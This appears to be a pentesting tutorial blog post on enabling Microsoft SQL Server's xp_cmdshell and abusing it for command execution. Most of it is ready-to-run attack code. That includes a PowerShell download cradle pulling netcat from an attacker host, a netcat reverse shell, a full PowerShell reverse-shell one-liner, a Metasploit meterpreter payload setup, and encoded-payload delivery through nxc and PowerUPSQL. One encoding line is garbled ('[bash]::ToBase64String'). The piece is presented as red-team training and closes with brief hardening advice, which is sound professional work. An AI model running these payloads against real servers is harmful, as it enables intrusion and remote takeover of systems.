MSSQL for Pentesters: Mastering Command Execution with xp_cmdshell for Red Team Operations + Video

Listen to this Post

Featured Image

Introduction

Microsoft SQL Server’s xp_cmdshell extended stored procedure has been a critical component for database administrators since 1995, but for penetration testers and red team operators, it represents a powerful attack surface when misconfigured. This Transact-SQL (T-SQL) feature allows authenticated users to execute operating system commands directly from the database engine, creating opportunities for privilege escalation, lateral movement, and complete server compromise during security assessments. Understanding how to enable, exploit, and leverage xp_cmdshell is essential for modern penetration testing engagements involving MSSQL environments.

Learning Objectives

  • Understand the architecture and security implications of xp_cmdshell in Microsoft SQL Server environments
  • Master multiple methods for enabling xp_cmdshell through GUI, command-line, and penetration testing tools
  • Execute practical command execution and reverse shell techniques using various payloads and tools
  • Implement post-exploitation techniques using PowerUPSQL and Metasploit integrations

You Should Know

1. Understanding xp_cmdshell and Lab Setup Requirements

xp_cmdshell is an extended stored procedure that spawns a Windows command shell and passes a string for execution. The output is returned as rows of text. By default, this feature is disabled in modern SQL Server installations to reduce attack surface, making it a key indicator of security posture during assessments.

Lab Setup Requirements:

  • Windows Server with Microsoft SQL Server (2005-2022) installed
  • Kali Linux machine for penetration testing tools
  • Network connectivity between attacker and target
  • Valid SQL Server credentials (even low-privileged)

Verification Commands (when connected):

-- Check if xp_cmdshell is enabled
SELECT  FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Check current configuration value
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';
  1. Enabling xp_cmdshell Using SQL Server Management Studio (GUI)

When you have GUI access to the SQL Server environment, enabling xp_cmdshell through Management Studio provides the most straightforward approach for initial access.

Step-by-Step Guide:

  1. Connect to SQL Server Instance using SQL Server Management Studio with appropriate credentials
  2. Open a New Query window and execute the following T-SQL commands:
-- Enable advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
  1. Verify the configuration by checking the configuration value:
EXEC sp_configure 'xp_cmdshell';
  1. Test command execution with a simple system command:
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';

The output will display the command results directly in the query results pane, confirming successful command execution.

3. Enabling xp_cmdshell Using sqsh on Linux

sqsh (pronounced “skwish”) is a command-line database client for Sybase and MS SQL Server that provides an interactive interface for executing T-SQL queries from Linux systems.

Installation and Usage:

 Install sqsh on Kali Linux
sudo apt-get update
sudo apt-get install sqsh -y

Connect to MSSQL server
sqsh -S 192.168.1.100 -U sa -P password

Once connected, enable xp_cmdshell
1> EXEC sp_configure 'show advanced options', 1;
2> RECONFIGURE;
3> GO
1> EXEC sp_configure 'xp_cmdshell', 1;
2> RECONFIGURE;
3> GO

Test command execution
1> EXEC xp_cmdshell 'whoami';
2> GO

sqsh provides an efficient way to interact with MSSQL servers during penetration tests when GUI access is unavailable or when working from command-line environments.

4. Enabling xp_cmdshell Using impacket-mssqlclient

Impacket’s mssqlclient.py is a powerful Python script that provides Windows authentication and SQL Server interaction capabilities, making it ideal for penetration testing scenarios.

Step-by-Step Implementation:

 Connect using Windows authentication
python3 mssqlclient.py WORKGROUP/User:[email protected] -windows-auth

Or using SQL authentication
python3 mssqlclient.py sa:[email protected]

Once connected, enable xp_cmdshell
SQL> enable_xp_cmdshell

The enable_xp_cmdshell command is a built-in function that executes:
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Execute system commands
SQL> xp_cmdshell whoami

Impacket’s mssqlclient provides additional functionality like file upload/download and hash extraction, making it a comprehensive tool for MSSQL exploitation.

5. Exploiting MSSQL for Reverse Shell Access

Once xp_cmdshell is enabled, the primary objective is often obtaining an interactive reverse shell for further system access.

Method A: Using Netcat Binary

 Upload netcat to the target (if not present)
 First, create a simple PowerShell download cradle
EXEC xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''http://192.168.1.50/nc.exe'', ''C:\Windows\Temp\nc.exe'')"'

Execute reverse shell connection
EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe 192.168.1.50 4444 -e cmd.exe'

On attacker machine, listen for connection
nc -lvnp 4444

Method B: PowerShell One-Liner Reverse Shell

EXEC xp_cmdshell 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient(''192.168.1.50'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'

6. Advanced Exploitation Using CrackMapExec and Metasploit

CrackMapExec (CME) Method:

 Using nxc (successor to crackmapexec)
nxc mssql 192.168.1.100 -u sa -p password -x whoami

Enable xp_cmdshell and execute command in one go
nxc mssql 192.168.1.100 -u sa -p password --enable-xp-cmdshell --exec "powershell -enc <encoded_command>"

For reverse shell, generate encoded PowerShell command
 First, encode your reverse shell payload
powershell -Command "$Text='YOUR_POWERSHELL_REVERSE_SHELL';[bash]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Text))"

Then execute with nxc
nxc mssql 192.168.1.100 -u sa -p password --enable-xp-cmdshell --exec "powershell -enc <base64_payload>"

Metasploit Integration:

msf6 > use exploit/windows/mssql/mssql_payload
msf6 > set RHOSTS 192.168.1.100
msf6 > set USERNAME sa
msf6 > set PASSWORD password
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > run

The module automatically:
 - Enables xp_cmdshell if disabled
 - Uploads and executes payload
 - Returns Meterpreter session

7. Command Execution Using PowerUPSQL

PowerUPSQL is a PowerShell module designed specifically for SQL Server post-exploitation, providing additional functionality beyond basic command execution.

Setup and Usage:

 Import PowerUPSQL module
Import-Module .\PowerUPSQL.psd1

Connect to SQL Server
$SQLServer = "192.168.1.100"
$SQLCred = Get-Credential

Test connection and get SQL version
Get-SQLServerInfo -SQLServer $SQLServer -SQLCred $SQLCred

Enable xp_cmdshell
Invoke-SQLOSCmd -SQLServer $SQLServer -SQLCred $SQLCred -Command "whoami" -EnableXPCmdShell

Execute commands with output retrieval
$result = Invoke-SQLOSCmd -SQLServer $SQLServer -SQLCred $SQLCred -Command "ipconfig /all"
$result

Advanced: Dump credentials using PowerUPSQL
Invoke-SQLAudit -SQLServer $SQLServer -SQLCred $SQLCred -Check "PasswordPolicy", "SysadminCount"

Execute staged payload delivery
$payload = "powershell -enc <base64_revshell>"
Invoke-SQLOSCmd -SQLServer $SQLServer -SQLCred $SQLCred -Command $payload

What Undercode Say

Key Takeaway 1

xp_cmdshell represents a critical junction between database and operating system security. Its default disabled state in modern SQL Server installations is not enough—penetration testers must verify that proper controls prevent unauthorized enabling. Organizations should implement strict monitoring for sp_configure changes, particularly for ‘xp_cmdshell’ and ‘show advanced options’ modifications, and maintain principle of least privilege for database accounts.

Key Takeaway 2

The diversity of exploitation methods—from GUI tools to command-line utilities like sqsh, impacket, and Metasploit—demonstrates that database administrators cannot rely on obscurity for protection. Each tool offers unique advantages: sqsh for Linux environments, impacket for Python-based workflows, and PowerUPSQL for PowerShell-centric post-exploitation. Red teams should maintain proficiency across all these vectors to simulate realistic attack scenarios.

The evolution of MSSQL exploitation techniques over nearly three decades shows that legacy features continue to pose significant risks. Organizations often enable xp_cmdshell for legitimate administrative tasks and forget to disable it, creating persistent vulnerabilities. Comprehensive security assessments must include thorough testing of database configurations, with particular attention to extended stored procedures and their potential for operating system interaction. As cloud-based SQL deployments increase, understanding these attack vectors becomes even more critical, though mitigation strategies like Azure SQL’s reduced feature set and network isolation provide additional protection layers.

Prediction

As organizations accelerate migration to cloud-native database solutions like Azure SQL Database and Amazon RDS, the traditional xp_cmdshell attack vector will diminish in prevalence but increase in severity. Cloud providers are systematically removing or restricting operating system-level access, forcing attackers to develop new techniques targeting database-linked application vulnerabilities and misconfigured hybrid environments. The next evolution of MSSQL attacks will likely focus on exploiting linked servers, database mail features, and CLR assembly execution—areas where cloud providers maintain backward compatibility for enterprise customers. Security professionals should anticipate a shift from direct OS command execution to more sophisticated attacks targeting data exfiltration through database backup mechanisms, service broker interfaces, and replication services that bridge on-premises and cloud environments. The skills learned from mastering xp_cmdshell exploitation today provide the foundation for understanding these emerging attack surfaces tomorrow.

▶️ Related Video (84% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Kavish0tyagi Mssql – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky